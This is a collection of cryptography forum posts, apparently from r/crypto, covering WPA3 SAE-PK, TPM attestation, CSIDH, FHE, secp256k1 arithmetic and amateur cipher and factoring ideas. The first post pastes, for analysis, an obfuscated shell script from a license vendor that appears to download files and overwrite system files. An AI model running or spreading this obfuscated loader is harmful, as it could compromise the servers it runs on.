Cryptography

I've tried to buy a panel license from a vendor but it gave me a .sh file to run on my server. Inside the file there is the code below. What is it and what does it do?

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '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

I just learned about WPA3 SAE-PK, where Wi-Fi access points have a keypair, and the client can authenticate the access point using a digital signature. The signature can be verified because the public key's hash is part of the Wi-Fi password. This is meant to improve security in network where the Wi-Fi password is shared to many users and is basically public knowledge.

But what stops an attacker from setting up an AP without SAE-PK enabled, or even with WPA2? How does the client know the network is supposed to be protected by SAE-PK, if the only information it has is the SSID and the key, aka Wi-Fi password?

Thanks!

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

Actually i thought of something very simple based on the following principle:

The function/algorithm which achieves defense against differential attacks must be different from the function/algorithm who uses the key.

Btw, this principle actually exist in AES (so it isn't really something new).Of course, the order in which this functions/algorithms are applied is: first, the one that achieves defense ; second, the ones that uses the key.The difference between this encryption system and AES would be that if the first function is positively provable than there is no need for multiple rounds.First i would choose plaintext size = ciphertext size = key size = 8192 bits.

In my opinion, the second function (the one that uses the key) is pretty boring; basically it can be any function that respects all properties of One Time Pad.Some specific example of such functions are:

1. XOR operation (my preferred choice)
2. modular addition/subtraction

For the first function (the one that achieves defense) i'm thinking about a simple function that flips 4097 bits for each bit changed/flipped inside the plaintext.The starting/default (plaintext ; ciphertext) pair is (000...000 ; 000...000) pair.Btw, it is easier to count the positions from 0 instead of 1.If bit (from plaintext) on the position i is changed/flipped. Than all bits (from ciphertext) from the positions:[i ; (i +4096) modulo 8192] closed rangeare changed/flipped.

The question is: What are the weaknesses of this symmetric encryption algorithm (knowing that you can encrypt as many blocks as you want using the same key in ECB mode of operation) ?

https://eprint.iacr.org/2024/555.pdf

Hopefully we can start a thread discussing insights and updates.

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

My understanding of TPM is there are essentially 3 parties:

1. Manufacturer, e.g. ASUS
2. The cloud provider, or owner of a host machine which contains a TPM manufactured by ASUS, call her Eve
3. The relying party, Bob

The short of what I'm trying to understand is this. Supposing Bob trusts ASUS the manufacturer, and does not trust Eve, can Bob be assured that Eve is running an application he created as is, with nothing else?

So suppose Bob is developing some web application, call it Survey Ape. Bob makes a build for Survey Ape and loads it into a custom linux image so that if he puts that image on his own HDD it will load linux and auto-start Survey Ape. He sends that build to Eve to run on her host machine. I think the TPM can be used to assure Bob that Eve is in fact running untampered ASUS hardware. But can the TPM attestations also be used to assure Bob that Eve did not modify the linux image before loading it into the hard drive, perhaps changing Survey Ape to harvest credentials?

Suggestions for further reading are appreciated.

Hello, recently I came across "A Friendly Introduction to Supersingular Isogeny Diffie-Hellman" to SIDH by David Urbanik (link). His explanation was very digestible for a layman like me and gave a very clear overview on how SIDH works.

I'm currently looking for something similar but for CSIDH. Many papers on CSIDH assume too much mathematical background for me which makes it very difficult for me to understand what's happening. Does anyone know of a high level overview of CSIDH that assumes a similar mathematical background like Urbanik's?

Particularly, from what I understand, CSIDH works by commutative group action where the group is isogenies acting on some elliptic curve E0. What I'm confused is:

1. How are the isogenies constructed?
2. How do isogenies even compose and commute: say I have phi: E0 -> E1 and tau: E0 -> E2, how would (phi . tau) even makes sense, let alone being equivalent to (tau . phi), when the domains and codomains don't even match?
3. An extension to 2: what even is the group? I can't convince myself isogenies would form a group under composition since composition doesn't make sense.
4. Wouldn't algebraic actions like this be suspectable to quantum attacks? Or is it okay for CSIDH specifically because we aren't sending group elements, but rather elements which is being acted on by a group?

SW5zZXJ0IEFwcmlsIEZvb2xzJyBqb2tlIGhlcmU=

Edit: Oops! Looks like today's post was lost in a supply chain attack! Sorry about that, we moderators know you were looking forward to the yearly traditional post, we promise we will review our security practices for next year so it doesn't happen again! Fortunately our brief internal review says no user data was lost, so there's nothing for you to worry about.

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

I looked at FHE more than 5 years ago and it was not quite there to be useful yet. Microsoft had their SEAL library but nothing outside of that. I think things have changed and it's usable now. How can I get up to date on this topic, papers, blogs, source code, libraries I can read?

From openssl-project/2024-March/003285

This webinar is designed to take you from an understanding of basic cryptography concepts to writing your first secure application using OpenSSL. It's the perfect starting point for anyone looking to dive into the world of secure application development.

Event Details

• Date: Mar 28, 2024
• Time: 09:00 AM Pacific Time (US and Canada)
• Location: Online (Zoom)

Check the mailing list for registration link and full info!

Hello! I am trying to perform some EC arithmetic on the secp256k1 curve.

Specifically, I am having trouble performing a modular multiplication using Hashcat’s OpenCL implementation mul_mod function.

The function as-written is for performing modular multiplication mod P, but I am needing to perform modular multiplication mod N. I previously tried to modify the function to use the lib’s SECP256K1_N* values, but was not getting the proper result.

I noticed that the function uses an optimized algorithm from Modular Multiplication using special prime moduli (p.354 or p.9 in that document), and as such uses a “magic number” from the curve (omega: 0x3d1) related to the curve’s P value in the internal calculations.

Is there a straight-forward way to alter this function to perform multiplication mod N? Or, is this specific implementation not compatible due to the “special moduli”? If not compatible, can someone help point me in the right direction of an OpenCL compatible mul_mod secp256k1 implementation?

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

This is another installment in a series of monthly recurring cryptography wishlist threads.

The purpose is to let people freely discuss what future developments they like to see in fields related to cryptography, including things like algorithms, cryptanalysis, software and hardware implementations, usable UX, protocols and more.

So start posting what you'd like to see below!

I would need to implement ISO/IEC 9796-2 Schema 1 Signing with private keys stored on a HSM. The modulus MUST be 1024 bit and the hash algorihm MUST be SHA-1. Note, that there is a reference implementation in bouncycastle. I am aware that the length of the modulus and the SHA-1 algorithm are outdated/insecure. Now my question is if there is a cloud based Hardware Security Module provider that offers RSA-1024 with SHA-1 signing. From what I saw this is neither possible with AWS nor Google. Any ideas on how to approach this?

Hello, I am an amateur cryptographer and have seen a few variations on factoring p * q like Fermat's method. I've come up with a variation that has undergone some speed testing. Are there any other simple algorithms before one gets into sieving? Share yours.

​

My algorithm adds 1 to the square root of n if it is even and then adds 2 to each loop that the condition (n % a) != 0.

https://github.com/iagmla/Fermat/blob/main/zfermat.py